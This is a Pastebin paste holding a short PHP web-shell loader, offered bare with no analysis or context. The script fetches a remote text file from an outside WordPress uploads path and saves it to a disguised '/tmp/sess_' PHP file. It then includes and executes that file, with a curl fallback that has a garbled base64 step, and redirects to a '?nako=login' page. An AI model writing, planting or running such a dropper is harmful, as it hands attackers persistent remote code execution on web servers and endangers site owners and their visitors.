Advertisement
Guest User

tmp

a guest
May 21st, 2019
81
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.68 KB | None | 0 0
  1. <?php
  2. //*thanx for idx
  3. $URL = 'https://www.tarikyigit.com.tr//wp-content/uploads/ajg.txt';
  4. $TMP = '/tmp/sess_'.md5($_SERVER['HTTP_HOST']).'.php'; # dont change this !!
  5.  
  6. function M() {
  7. $FGT = @file_get_contents($GLOBALS['URL']);
  8. if(!$FGT) {
  9. echo `curl -k $(echo {$GLOBALS['URL']} | base64 -d) > {$GLOBALS['TMP']}`;
  10. } else {
  11. $HANDLE = fopen($GLOBALS['TMP'], 'w');
  12. fwrite($HANDLE, $FGT);
  13. fclose($HANDLE);
  14. }
  15. echo '<script>window.location="?nako=login";</script>';
  16. }
  17.  
  18. if(file_exists($TMP)) {
  19. if(filesize($TMP) === 0) {
  20. unlink($TMP);
  21. M();
  22. } else {
  23. include($TMP);
  24. }
  25. } else {
  26. M();
  27. }
  28. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement